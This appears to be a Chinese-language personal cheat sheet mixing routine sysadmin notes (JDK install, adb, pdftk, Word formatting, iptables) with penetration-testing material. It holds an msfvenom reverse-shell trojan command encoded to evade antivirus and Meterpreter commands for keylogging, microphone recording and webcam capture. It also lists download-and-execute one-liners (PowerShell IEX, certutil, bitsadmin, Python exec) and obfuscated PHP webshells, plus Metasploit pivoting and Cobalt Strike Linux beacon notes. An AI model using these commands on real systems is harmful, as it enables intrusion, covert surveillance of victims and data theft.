# Java19 安装
1 2 3 4 5 6 7 8 # 下载高版本的jdk https://www.oracle.com/java/technologies/downloads/#jdk19-mac wget https://download.oracle.com/java/19/latest/jdk-19_macos-aarch64_bin.dmg # 多个java存在时使用高版本的java https://docs.oracle.com/en/java/javase/19/install/installation-jdk-macoshtml#GUID-C5F0BF25-3487-4F33-9275-7000C8E1C58C java -version /usr/libexec/java_home -v 19 --exec java -version
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 获取源码地址 https://www.oracle.com/java/technologies/downloads/#jdk19-linux # 将源码下载到/opt/etc目录 sudo wget https://download.oracle.com/java/19/latest/jdk-19_linux-aarch64_bin.tar.gz -O /etc/opt/jdk19.tar.gz sudo tar -zxvf jdk-19_linux-aarch64_bin.tar.gz sudo cp -r jdk-19/ /usr/bin # 安装并注册 sudo update-alternatives --install /usr/bin/java java /etc/opt/jdk-19 /bin/java 1 sudo update-alternatives --install /usr/bin/javac javac /etc/opt/jdk-19/bin/javac 1 sudo update-alternatives --set java /etc/opt/jdk-19/bin/java sudo update-alternatives --set javac /etc/opt/jdk-19/bin/javac # 检查是否成功配置Java环境 java -version
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 建议获取jdk的地址 https://jdk.java.net # 需要打开oracle官网,寻找适合操作系统处理器的版本 sudo wget https://download.oracle.com/java/19/latest/jdk-19_linux-x64_bin.tar.gz - O /etc/opt/jdk1tar.gz # 让 centos 知道该链接 update-alternatives --install /usr/bin/java java sudo update-alternatives --install /usr/bin/java java /etc/opt/jdk-10.1/bin/java 100 # 更新/etc/alternatives/java链接,选择当前要使用的jdk序号 sudo update-alternatives --config java # 注:sudo yum install java-17-openjdk网络问题会失败 # 检查是否安装成功 java - version
# msf 生成木马说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 # msf生成木马: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST= 192 .168.31.18 LPORT= 4444 -b "\x00" -i 10 -f exe -o ~/Desktop/test.exe -a x86 使用x86框架 --platform windows 运行平台为windows -p windows/meterpreter/reverse_tcp 指定payload LHOST= 192 .168.200.130 LPORT= 8088 本地IP和监听端口 -b "\x00" 去掉坏字符 -i 10 编码 10 次,提高免杀概率 -f exe 木马文件格式 -o /var/www/html/test.exe 输出路径 # 监听端口等待木马执行: msfconsole use payload windows/meterpreter/reverse_tcp set lhost 192.168.31.123 set lport 4444 exploit # msf控制后的可执行命令 getuid 查看当前权限 getsystem 尝试获取system权限 shell 获取当前权限shell会话 ps 列出正在运行的进程 pkill 按名称终止进程 kill 按PID终止进程 reboot 重启 shutdown 关机 upload 上传文件(格式参考:upload /root/1.txt - > d:/) download 下载文件(格式参考:download c:/1.txt - > /root/) keyboard_send 令对方键盘输入(参考格式:keyboard_send ilovecc) keyscan_start 开始捕获击键(开始键盘记录) keyscan_dump 转储按键缓冲(下载键盘记录) keyscan_stop 停止捕获击键(停止键盘记录) record_mic 麦克风录制(格式参考:record_mic -d 13) screenshot 截图截取对方目前桌面的截图 webcam_snap 摄像头拍摄一张照片
# 一句话下载文件
参考链接: https://forum.ywhack.com/bountytips.php?download
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # PowerShell - IWR/IEX powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:81/exp.exe -OutFile test.exe" powershell.exe -Command "IEX(New-Object Net.WebClient).DownloadFile('http://127.0.0.1:81/exp.exe', test.exe)" # CMD - Certutil/SMB CMD - Certutil: certutil.exe -urlcache -split - f http://127.0.0.1:81/exp.exe test.exe CMD - SMB: copy \\127.0.0.1\files\exp.exe test.exe # Linux - wget wget http://127.0.0.1:81/exp.exe -O test.exe 8. Linux - curl: curl http://127.0.0.1:81/exp.exe -o test.exe # Windows Bitsadmin/msiexec: bitsadmin /rawreturn /transfer down "http://127.0.0.1:81/exp.exe" c:\\test.exe msiexec /q /i http://127.0.0.1:81/exp.exe msiexec /q /%os:~1,1%http://127.0.0.1:81/exp.exe # Python Download: python -c "import urllib2; exec urllib2.urlopen('http://127.0.0.1:81/exp.exe').read();"
# ip 转为纯数字访问
在线转换地址:https://www.bejson.com/convert/ip2int/
如要访问 http://1.117.52.219 可以访问 http://24458459
其中 1x2563+117x256 2+52x256+219=24458459
可以当对方对 ip 做了点过滤的时候进行绕过
# 一句话木马被过滤
1 2 3 4 5 6 7 8 # 变形一句话木马 <?php eval($_POST[x]);?> <?=eval($_POST[x]);?> <?=eval($_POST{x});?> <?=system('tac ../fl*')?> <?=`tac ../fl*`?> <? echo `tac /var/www/html/f*`?> <?php $a='syste';$b='m';$c=$a.$b;$c('ls ../');?>
# mac 克隆网站
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 通过SiteSucker克隆网站或者wget的方式下载源码 wget -r http://word.wd1x.com/ # 将源码移动到/Library/WebServer/Documents目录下 sudo mv ~/Downloads/word.wd1x.com/ /Library/WebServer/Documents # 设置此目录的权限使得任意用户可访问 sudo chmod - R 777 /Library/WebServer/Documents/word.wd1x.com # 修改apache配置文件,改变index.html指向 sudo cp /etc/apache2/httpd.conf /etc/apache2/httpd.conf.bak sudo vim /etc/apache2/httpd.conf DirectoryIndex /word.wd1x.com/index.html index.html # 用apachectl操作apache的启动或停止 sudo apachectl start/stop/restart # 访问http://localhost或者http://localhost/word.wd1x.com
# mac 与 win 上互联
mac 查看 win 上某个文件内容并复制
通过终端或者 ssh 连接工具:
ssh administrator@192.168.0.111
cd /d “G:\xiaodi\37 - 权限维持 & 钓鱼 & MSF 等”
type 表单劫持.txt
通过 vnc 或者 rdp:直接通过可视化界面复制相关内容
通过 nc 工具来实时终端聊天 (需要打开防火墙对应端口):
1 2 3 4 5 # 被控端: nc - l -v - v - p 4444 或 nc - lvvp 4444 (命令与nc版本有关) # 控制端: nc 192.168.0.111 4444
mac 和 win 实时通讯
1 2 3 4 5 6 7 # 在windows上通过mobex连接到mac,并开启本地监听: nc -l 4444 -v # 在mac上开始将内容发送至 4444: nc 127.0.0.1 4444 # 此后就可以在两个电脑之间互相发送临时内容了
mac 和 win 共享文件夹
mac 上开启 smb 文件共享,单独设置一个用户 smbtest 和密码,为其开放指定目录,并在 wifi 的高级设置中 WINS 中添加 windows 的 ip 地址
win 上通过运行输入 \192.168.x.x 加入到 mac 的共享文件夹当中即可
win 上通过 shift+windows+s 键可以截图,并最终保存到共享文件夹当中即可
# vulfocus 部署
参考地址: https://fofapro.github.io/vulfocus/#/INSTALL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 通过docker 安装vulfocus # -v /var/run/docker.sock:/var/run/docker.sock 为 docker 交互连接。 # -e DOCKER_URL 为 Docker 连接方式,默认通过 unix://var/run/docker.sock 进行连接,也可以通过 tcp://xxx.xxx.xxx.xxx:2375 进行连接(必须开放 2375 端口)。 # -v /vulfocus-api/db.sqlite3:db.sqlite3 映射数据库为本地文件。 # -e VUL_IP=xxx.xxx.xxx.xxx 为 Docker 服务器 IP ,不能为 127.0.0.1。 # -e EMAIL_HOST="xxx.xxx.xxx" 为邮箱SMTP服务器 # -e EMAIL_HOST_USER="xxx@xxx.com" 为邮箱账号 # -e EMAIL_HOST_PASSWORD="xxxxxxxx 为邮箱密码 docker pull vulfocus/vulfocus:latest docker create -p 82:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=x.42.178.227 -e EMAIL_HOST="root@mail.com" -e EMAIL_HOST_USER="root" -e EMAIL_HOST_PASSWORD="Clash123\!\@\#" vulfocus/vulfocus docker start container id # 默认账户密码为 admin/admin。 # 添加镜像-本地导入-选择合适的镜像载入进去 docker search vulfocus --limit 100 docker search vulfocus/weblogic --limit 100 docker pull vulfocus/log4j2-rce-2021-12-09
# 快速搭建 ss 通道
在安全组中开放相应端口:https://console.cloud.tencent.com/vpc/securitygroup/detail/sg-m5rse38x?rid=5
教程一:https://www.bwgss.org/154.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 下载并安装: bash <(curl -sL https://raw.githubusercontent.com/hijkpw/scripts/master/centos_install_ss.sh) # 查看运行状态: bash <(curl -sL https://raw.githubusercontent.com/hijkpw/scripts/master/centos_install_ss.sh) info # SS卸载: bash<(curl -sL https://raw.githubusercontent.com/hijkpw/scripts/master/centos_install_ss.sh) uninstall # SS 管理命令: 启动:systemctl start shadowsocks-libev 停止:systemctl stop shadowsocks-libev 重启:systemctl restart shadowsocks-libev
教程二:https://www.tangyuecan.com/2019/09/20 / 一分钟在 centos 上搭建 ss 服务器 /
1 2 3 4 5 6 7 8 9 10 11 12 13 # 一键安装 shadowsocks-go 版: wget –no-check-certificate https://tangyuecan.com/shadowsocks-go.sh chmod +x shadowsocks-go.sh ./shadowsocks-go.sh 2>&1 | tee shadowsocks-go.log # 卸载 ./shadowsocks.sh uninstall # 重启 /etc/init.d/shadowsocks restart # 查看配置 /etc/shadowsocks/config.json
客户端下载地址
1 2 3 4 5 6 7 8 # windows https://github.com/shadowsocks/shadowsocks-windows/releases # macos https://github.com/shadowsocks/ShadowsocksX-NG/releases # 检验 curl --proxy 127.0.0.1:1087 "http://httpbin.org/ip"
# nginx 域名指定目录
将新买的域名解析到指定服务器 ip:通过云服务后台操作(1.5h)
域名绑定目录的配置文件都放到这里:/usr/local/nginx/conf/vhost/
在该目录下,新建一个文件,命名:域名.conf; 如:www.baidu.com.conf
指定网站目录:如 /data/wwwroot/www.nmap.asia
重启 nginx:systemctl restart nginx
将 nginx 关闭之后,在服务器上随便开启的网站都会被解析到此域名
# pdftk 操作 pdf
1 2 3 4 5 6 7 8 9 10 11 12 # 谷歌翻译限制 10 M,可利用此方法拆分后一一翻译在合并 # 安装pdftk工具: brew install pdftk-java brew install openjdk@11 # 拆分pdf为两个文件: pdftk penetrationtestingazureforethicalhackers.pdf cat 1-200 output book-1.pdf pdftk penetrationtestingazureforethicalhackers.pdf cat 201-352 output book-2.pdf # 将分隔后的再次合并: pdftk book-1.pdf book-2.pdf cat output azure-book.pdf pdftk A=book-1 \(Chinese\).pdf B=book-2 \(Chinese\).pdf cat A B output azure-book.pdf
# 反弹失败原因
# 破解网盘速度限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 为浏览器下载并安装油猴插件: https://www.tampermonkey.net/ # 为油猴插件下载网盘直链脚本: https://greasyfork.org/zh-CN/scripts/418182-%E7%99%BE%E5%BA%A6%E7%BD%91%E7%9B%98%E7%AE%80%E6%98%93%E4%B8%8B%E8%BD%BD%E5%8A%A9%E6%89%8B-%E7%9B%B4%E9 %93%BE%E4%B8%8B%E8%BD%BD%E5%A4%8D%E6%B4%BB%E7%89%88 # 在电脑上安装下载器: # windows可下载IDM下载工具: https://softxm.lanzoui.com/idNdO0458y9g # macOS可下载NDM下载工具(油小猴): https://www.baiduyun.wiki/download.html # IDM/NDM配置线程及UA: https://www.cnblogs.com/softxmm/p/13972678.html#idm # 网页百度网盘生成单个文件的url地址:http://pan.baidu.com/ # 将url导入到IDM/NDM进行下载:下载并配置好的这两个工具之一 # 油小猴附带有其他下载方案,但是速度受到了限制
# pwsh 基本操作
1 2 3 4 5 # 检查当前的powershell版本 $ PSVersionTable.PSVersion # 安装最新版的powershell方法: https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell?view=powershell-7.2
键盘打开管理员权限的 powershell 按 windows 键,然后输入 pwsh,然后同时按 按 Ctrl+ Shift + Enter 键。再弹出的对话框中选择是,就可以弹出管理员权限的 pwsh。
# word 的一些操作
ctrl+h 调出查找与替换模块,选择高级替换与查找, 查找内容勾选为使用通配符、内容填写 [0-9 ] 并且不限定格式,替换后的内容不填但是要选择字符格式中的上标格式。选择全部替换就可以改掉了。
[0-9 ](适用两位编号,三位为 {1,3}) 即 [0-9 ]
[0-9 ?0-9 ](适用两位编号,三位为 {1,3}) 即 [0-9 ?0-9 ](
先将自己的标题统一设置为样式 - 这里选择以标题 3,4,5 作为自己的一二三级目录
引用目录 - 自定义目录 - 选择目录深度 (需显示两级目录则选择为 4,即显示设置的一二)
选择修改目录中的 TOC3、TOC4 依次进行修改
TOC3 即原本的标题 3 是自己想要展示的一级目录,我设置了新罗马小四字,段落前后 间距 0 行,是 1.5 倍行距
TOC4 即原本的标题 4 是自己想要展示的二级目录,我设置了新罗马 11 字,段落前间距 0 行,段落缩进 0.5cm,固定 20 磅行距
# 子域名接管
(1)域名解析记录类型
1 2 3 4 5 6 7 # 记录类型 A-将域名指向一个IPV 4 地址 CNAME-将域名指向另外一个域名 AAAA-将域名指向一个IPV 6 地址 NS-将子域名指向其他DNS服务器解析 MX-将域名执行邮件服务器地址 SRV-记录提供特定服务的服务器
(2)子域名接管
A 域名通过 CNAME 解析到了 B 域名,而 B 域名又通过 CNAME 解析到了 C 域名,那么此时 A 域名是直接解析到了 C 域名下。如果 B 域名过期了且没有被注册,那么可以直接通过 B 域名来控制 A 域名的界面,因为 A 域名是一个更权威的界面,是更容易让人相信的。
# adb 相关命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 一般命令 adb devices adb connect 127.0.0.1:5037 adb root shell # adb默认端口 5037 被占用的解决办法 # 找到被哪个进程号占用了 netstat - ano | findstr 5037 # 查看此进程号是什么任务 tasklist | findstr 11111 # 删除此进程 taskkill /pid 11111
雷神模拟器的 adb shell 没有 root,可以先换逍遥或者 nox 尝试
逍遥模拟器命令 adb devices 查看设备,只显示 List of devices attached,设备列表显示为空
①关闭任务管理器中的 adb.exe 关闭逍遥模拟器
②打开 adb 目录,复制 adb.exe
③打开逍目录下的 \Microvirt\MEmu\adb.exe 并备份,将复制的 adb.exe 粘贴
④再次运行逍遥模拟器的虚拟机 adb devices 将成功显示设备列表
# linux install msf
1 2 3 4 5 6 7 8 # 一键安装 msf curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall # 判断msfconsole位置 whereis,type,which msfconsole # 载入~/.bash_profile, 设置为全局 export PATH=$PATH:[order location]
# win install mingw
1 2 3 4 5 6 7 8 9 10 11 12 # 安装mingw包管理器: https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe # 装C、C++编译器:从 mingw-get 窗口左上角的安装菜单中选择应用更改 # 检验安装是否成功: C:\MinGW\bin\gcc.exe --version; C:\MinGW\bin\g++.exe --version # 设置路径为全局路径: C:\MinGW\bin\ # 注意:g++会把.c和.cpp文件当作是C++的源程序进行编译;gcc会把.c当作是C源程序编译,.cpp的程序当作是C++源程序编译 gcc test.c -o test; g++ test.c -o 1
# msf 中路由设置
路由添加
1 2 3 4 5 6 7 8 # 查看路由信息 run autoroute -p # 添加路由 run post/multi/manage/autoroute # 添加指定路由, 1 是接收的session编号: route add 192.168.11.0 255.255.255.0 1
Sock 代理
1 2 3 4 5 use auxiliary/server/socks_proxy set srvhost 0.0.0.0 set srvport 1115 在外网服务器端口做了代理 run vim /etc/proxychains外网服务器通过代理端口可以直接访问内网资产
# 防火墙规则设置
链接: https://www.cnblogs.com/tomtellyou/p/16300557.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # 查看当前防火墙状态 netsh advfirewall show allprofiles # 关闭防火墙 netsh advfirewall set allprofiles state off # 开启防火墙 netsh advfirewall set allprofiles state on # 恢复初始防火墙设置 netsh advfirewall reset # 启用桌面防火墙 netsh advfirewall set allprofiles state on # 设置默认输入和输出策略 netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound # 如果设置为拒绝使用blockinbound,blockoutbound
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # /* 清除所有规则 */ iptables -F # /*允许包从 22 端口进入*/ iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 允许从 22 端口进入的包返回*/ iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT /* # /* 域名解析端口,一般不开 */ iptables -A OUTPUT -p udp --dport 53 -j ACCEPT iptables -A INPUT -p udp --sport 53 -j ACCEPT # /*允许本机访问本机*/ iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT # /*允许所有IP访问 80 端口*/ iptables -A INPUT -p tcp -s 0/0 --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT # /*保存配置*/ iptables-save > /etc/sysconfig/iptables # /* 显示iptables列表 */ iptables -L
# cs 上线 linux
项目位置:https://github.com/gloxec/CrossC2
使用参考:https://gloxec.github.io/CrossC2/zh_cn/
目前版本只支持反向的 https 和正向的 tcp,下载对应版本加载器和 CNA 插件、上传加载器文件和本地加载 CNA 插件、修改 CNA 插件配置路径及上传 Key 文件、使用命令或插件绑定 HTTPS 监听器生成。